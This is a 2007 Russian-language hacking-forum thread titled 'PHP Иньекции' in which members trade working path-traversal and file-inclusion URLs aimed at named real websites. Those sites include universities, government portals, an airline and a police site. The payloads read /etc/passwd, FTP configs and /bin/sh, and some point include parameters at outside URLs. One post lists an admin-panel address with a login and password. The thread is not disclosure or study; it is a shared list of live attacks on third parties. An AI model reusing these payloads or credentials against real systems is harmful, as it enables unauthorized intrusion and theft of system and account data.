PHP Иньекции

Discussion in 'Уязвимости' started by Joker-jar, 20 Apr 2007.

  1. n1†R0x

    n1†R0x Elder - Старейшина

    Joined:
    20 Jan 2007
    Messages:
    728
    Likes Received:
    376
    Reputations:
    235
    решил я про бильярд почитать)
    Code:
    http://billiard4u.ru/instructions.php?menu=tournament&submenu=../../../../../etc/passwd%00
    error_log на уровень ниже, у меня не грузит, но ошибки нет...
    остальное не искал
    зы: пост-метод катит
     
    2 people like this.
  2. +StArT+

    +StArT+ Elder - Старейшина

    Joined:
    10 Feb 2007
    Messages:
    24
    Likes Received:
    51
    Reputations:
    3
    www.molrh.dimetra.ru
    Сайт о жизни молодежи республики Хакасии.

    Code:
    http://www.molrh.dimetra.ru/mol.php?p=[COLOR=PaleTurquoise]../../../../etc/passwd[/COLOR]
    
    http://www.molrh.dimetra.ru/mol.php?p=[COLOR=PaleTurquoise]../../../../etc/syslog.conf[/COLOR]
    
    http://www.molrh.dimetra.ru/mol.php?p=[COLOR=PaleTurquoise]../../../../etc/ftpusers[/COLOR]
    
    http://www.molrh.dimetra.ru/mol.php?p=[COLOR=PaleTurquoise]../../../../usr/local/etc/proftpd.conf[/COLOR]
    Админ панель
    Админ панель форума
    Code:
    http://www.molrh.dimetra.ru/for/[COLOR=PaleTurquoise]admin/admin.php[/COLOR]
    ***********************************************
    login:[COLOR=DarkOrange]login[/COLOR]
    password:[COLOR=DarkOrange]pass[/COLOR]
    ***********************************************
     
    #62 +StArT+, 2 May 2007
    Last edited: 2 May 2007
    1 person likes this.
  3. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    Xex
     
    #63 NOmeR1, 4 May 2007
    Last edited: 4 May 2007
    2 people like this.
  4. fly

    fly Member

    Joined:
    15 Apr 2007
    Messages:
    584
    Likes Received:
    95
    Reputations:
    -10
    http://www.rose-hulman.edu/IAIT/DRC/documentationFiles.php?file=../../../../../../../../../../../../../../etc/passwd

    http://www.met.utah.edu/cgi-bin/mace/midcix/midcix.cgi?html=../../../../../../../../../../../../../../../../../../../../../../etc/passwd

    http://www.fas.harvard.edu/~semitic/HOAI/adultmain.cgi?article=../../../../../../../../../../../../../../etc/passwd

    http://rhino.bocklabs.wisc.edu/cgi-bin/virusworld/htdocs.pl?docname=../../../../../../../../../../../../../../../../../etc/passwd

    http://law.marquette.edu/cgi-bin/site.pl?8&template=../../../../../../../../../../../../../../../../etc/passwd

    http://campuscgi.princeton.edu/~pucsdt/pucsdtm/getpage.pl?HTMLFILE=../../../../../../../../../../../../../../../etc/passwd
     
    3 people like this.
  5. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    Code:
    http://lottery.sports.21cn.com/help/index.php?htmlFile=../../../../../../../../../../etc/passwd
    http://www.dukesofwindsoar.com/dukes.cgi?do=html&htmlfile=../../../../../../../../../../etc/passwd
    http://www.aa.com/aa/i18nForward.do?p=../../../../../../../../../../etc/passwd
    
     
  6. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    Code:
    http://iwa-hwg.eclasses.org/cgi-bin/ql/pullout.cgi?template=../../../../../../../../../../etc/passwd&partner.login=IWA-HWG
    http://ecfr.gpoaccess.gov/cgi/t/text/text-idx?c=ecfr&tpl=../../../../../../../../../../etc/passwd
    http://www.stumbleupon.com/url/sfgate.com/cgi-bin/article.cgi%3Ff=../../../../../../../../../../etc/passwd
    
     
    2 people like this.
  7. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    Code:
    http://www.cyfm.net/article.php?article=../../../../../../../../../../etc/passwd
    http://www.whitelandy.de/include.php?file=../../../../../../../../../../etc/passwd
    http://www.mpuleg.gov.za/main.php?include=[URL]&menu=_menus/petitions.html
    
     
  8. ЛифчиС5СВ

    ЛифчиС5СВ Elder - Старейшина

    Joined:
    9 Mar 2007
    Messages:
    164
    Likes Received:
    141
    Reputations:
    12
    Тоже надо потиху включаться и в эту гильдию :)
    Code:
    http://schwein.ru/news/index.php?page=http://
     
  9. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    Code:
    http://ragingbull.quote.com/mboard/viewrbml.cgi?file=../../../../../../../../../../etc/passwd
    
    
     
  10. maxster

    maxster Elder - Старейшина

    Joined:
    27 Oct 2006
    Messages:
    188
    Likes Received:
    88
    Reputations:
    -7
    первый php-inj
    Code:
    http://www.berlinpolis.de/download.php?file=../../../../../../etc/passwd
    
    Берлинская полиция ?


    ___________
    И еще 1 сразу

    Code:
    http://www.neumann.com/download.php?download=../../../../etc/passwd
    
     
    #70 maxster, 8 May 2007
    Last edited: 8 May 2007
    3 people like this.
  11. Constantine

    Constantine Elder - Старейшина

    Joined:
    24 Nov 2006
    Messages:
    798
    Likes Received:
    710
    Reputations:
    301
    Удаленный
    Code:
    http://euroinvest-vertrieb.de/include.php?id=17&a=Keine+Ahnung.&game=16&w=1&c=2&ziel=http://rambler.ru
     
    1 person likes this.
  12. +StArT+

    +StArT+ Elder - Старейшина

    Joined:
    10 Feb 2007
    Messages:
    24
    Likes Received:
    51
    Reputations:
    3
    www.clinlab-kafedra.ru
    Подготовка специалистов для лабораторной службы России.
    .......................................................................
    Code:
    http://www.clinlab-kafedra.ru/main.php?file=../../../..[B]/etc/hosts[/B]
    
    http://www.clinlab-kafedra.ru/main.php?file=../../../..[B]/etc/passwd[/B]
    
    http://www.clinlab-kafedra.ru/main.php?file=../../../..[B]/etc/ftpusers[/B]
    
    http://www.clinlab-kafedra.ru/main.php?file=../../../..[B]/etc/syslog.conf[/B]
    *****************************************
     
    2 people like this.
  13. mr.The

    mr.The Elder - Старейшина

    Joined:
    30 Apr 2007
    Messages:
    1,080
    Likes Received:
    456
    Reputations:
    38
    Просмотр файлов
     
  14. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    :)
     
    3 people like this.
  15. freddi

    freddi Elder - Старейшина

    Joined:
    5 Jul 2006
    Messages:
    399
    Likes Received:
    243
    Reputations:
    145
    прошолся по пхп-нюку)

    Code:
    www.wolfproject.net/modules/Forums/admin/index.php?phpbb_root_path=[B][url][/B]
    www.packpage.de/modules/Forums/admin/index.php?phpbb_root_path=[B][url][/B]
     
    1 person likes this.
  16. Constantine

    Constantine Elder - Старейшина

    Joined:
    24 Nov 2006
    Messages:
    798
    Likes Received:
    710
    Reputations:
    301
    че то по кс
    Code:
    http://www.fofg.action-games.de/include.php?file=/etc/passwd
    незабываем что кроме etc существует и bin
    Code:
    http://www.nexgen-fs.net/include.php?file=/bin/bash
    Code:
    http://www.nexgen-fs.net/include.php?file=/bin/sh
    ну и /etc/passwd
    Code:
    http://www.nexgen-fs.net/include.php?file=/etc/passwd
     
    4 people like this.
  17. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
     
    #77 NOmeR1, 14 May 2007
    Last edited: 15 May 2007
    3 people like this.
  18. beerbear

    beerbear New Member

    Joined:
    15 Apr 2007
    Messages:
    24
    Likes Received:
    2
    Reputations:
    2
    Первый)
    Code:
    http://www.geneseo.edu/news/nrap.php?pg=../../../../../../etc/passwd
    
     
    1 person likes this.
  19. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    Да ребята, у вас есть чему поучиться.
    beerbear, Гугл так тесен? Было уже :mad:
     
    #79 NOmeR1, 16 May 2007
    Last edited: 18 May 2007
  20. Constantine

    Constantine Elder - Старейшина

    Joined:
    24 Nov 2006
    Messages:
    798
    Likes Received:
    710
    Reputations:
    301
    Code:
    http://www.star-corp.de/include.php?file=/etc/passwd
    http://www.rwies1406.de/include.php?file=/etc/passwd
    
    Для экстрималов =))
    Code:
    http://www.lu2705.de/include.php?file=/bin/sh